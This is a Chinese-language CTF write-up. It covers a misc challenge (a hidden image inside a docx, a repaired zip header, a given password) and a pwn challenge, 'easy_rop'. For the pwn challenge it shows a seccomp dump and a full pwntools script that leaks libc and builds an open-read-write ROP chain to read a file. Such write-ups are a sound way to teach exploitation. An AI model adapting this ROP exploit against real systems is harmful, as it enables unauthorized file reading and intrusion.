- -考试当场没做出来 后面做的
misc
❯ cd misc
❯ ls
num.docx num.zip
❯ unzip num.docx
Archive: num.docx
inflating: [Content_Types].xml
inflating: _rels/.rels
inflating: word/document.xml
inflating: word/_rels/document.xml.rels
extracting: word/media/image1.jpeg
inflating: word/theme/theme1.xml
inflating: word/settings.xml
inflating: word/styles.xml
inflating: word/webSettings.xml
inflating: word/fontTable.xml
inflating: docProps/core.xml
inflating: docProps/app.xml
inflating: word/media/iamge1
❯ ls
[Content_Types].xml _rels docProps num.docx num.zip word
❯ cd word
❯ ls
_rels document.xml fontTable.xml media settings.xml styles.xml theme webSettings.xml
❯ cd media
❯ ls
iamge1 image1.jpeg
解压后有两个文件,其中image1.jpeg ,iamge1 是隐藏文件
❯ file iamge1
iamge1: JPEG image data, JFIF standard 1.01, aspect ratio, density 72x72, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=2, orientation=upper-left], baseline, precision 8, 800x400, components 3
❯ mv iamge1 iamge1.jpeg
使用stegSolve 打开
发现最后存在一段 类似zip文件的内容,但是没有504b0304 文件头,手动添加
保存
解压发现要密码
密码122598
解码: cyberChef-link
pwn-eazyrop
Linux 4.7 System Call Table (x64)
main 函数中有几个函数 其中sub_4011F6 初始化标准输入输出的
sub_40125B() 是限制系统调用的
root@VM-12-14-debian:/tmp/ctf# seccomp-tools dump ./easy_rop
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x15 0x00 0x01 0x00000003 if (A != close) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0014
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0016
0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0016: 0x15 0x00 0x01 0x0000009d if (A != prctl) goto 0018
0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0018: 0x06 0x00 0x00 0x00000000 return KILL
能使用的系统调用就是 openat ,write ,read ,经典orw题,不能getshell
sub_4014E0()函数可以溢出16byte 刚好可以覆盖old rbp 和ret address ,
漏洞点那么我们可以在sub_4014E0() ret address 填一个ret 指令那么就可以回到之前main函数的栈,我们把要执行的ROPchains填写的main函数的buf中
from pwn import *
from LibcSearcher import *
context(arch = 'amd64', os = 'linux',log_level='debug')
#io = process("./easy_rop")
io = gdb.debug("./easy_rop",gdbscript='''b *0x4014E0\n c''')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc.address = 0
pop_rdi = 0x00000000004015d3
puts = 0x4010b0
libc_start_main = 0x0000000000403ff0
main_func = 0x0000000000401511
libc_offset = 0x1af49
#sub_rsp_jmp = asm('sub rsp,0x10;jmp esp')
#print(sub_rsp_jmp)
read_func = 0x4010c0
bss = 0x00404000 + 100
ret = 0x000000000040101a
# for ret 2 main stack to excute p1 only overflow 16 bytes
p1 = flat(
b'a'*(128+8),
ret
)
p2 = flat(
pop_rdi,
libc_start_main,
puts,
main_func
)
io.sendlineafter("Leave your name",p2)
print(io.recv())
io.sendafter("Leave your message:",p1)
print(io.recv())
libc_start_main = u64(io.recv(6)+b"\x00\x00")
print(f"libc_start_main== {hex(libc_start_main)}")
libc_search = LibcSearcher('__libc_start_main',libc_start_main)
libc_start_main_offset = libc_search.dump('__libc_start_main')
print(f"libc_start_main_offset={hex(libc_start_main_offset)}")
libc_base_address = libc_start_main - libc_start_main_offset
print(f"libc_base_address={hex(libc_base_address)}")
libc.address = libc_base_address
pop_rdx_list = list(libc.search(asm('pop rdx; ret')))
pop_rdx = pop_rdx_list[-1] # 有好几个 要用内存权限 存在x(可执行的内存)
pop_rsi = next(libc.search(asm('pop rsi; ret')))
pop_rax = next(libc.search(asm('pop rax; ret')))
pop_rcx = next(libc.search(asm('pop rcx; ret')))
success (f"pop_rdx_list_ret => {[hex(pop_rdx) for pop_rdx in pop_rdx_list ]}")
success (f"pop_rdx_ret => {hex(pop_rdx) }")
success (f"pop_rsi_ret => {hex(pop_rsi)} ")
open_func = libc.symbols['openat']
read_func = libc.symbols['read']
write_func = libc.symbols['write']
success(f"open_func => {hex(open_func)}")
success(f"read_func => {hex(read_func)}")
success(f" write_func => {hex(write_func)}")
bss = 0x00404000
target_file = "/etc/hosts"
read_length = 100
p3 = flat(
pop_rdi,
0,
pop_rsi,
bss+200,
pop_rdx,
len(target_file)+1,
read_func,
pop_rdi,
-100,
pop_rsi,
bss+200,
pop_rdx,
0x0,
pop_rcx,
0x0,
open_func,# new fd is 3
pop_rdi,
3,
pop_rsi,
bss+200+10,
pop_rdx,
read_length,# read length
read_func,
pop_rdi,
1,
pop_rsi,
bss+200+10,
pop_rdx,
read_length,
write_func
)
io.sendafter("Leave your name\n",p3)
##print(io.recv())
io.sendafter("Leave your message:",p1)
io.send(target_file+"\x00")
print(io.recv())
io.interactive()
执行效果,成功读取出 文件内容
远程还没试过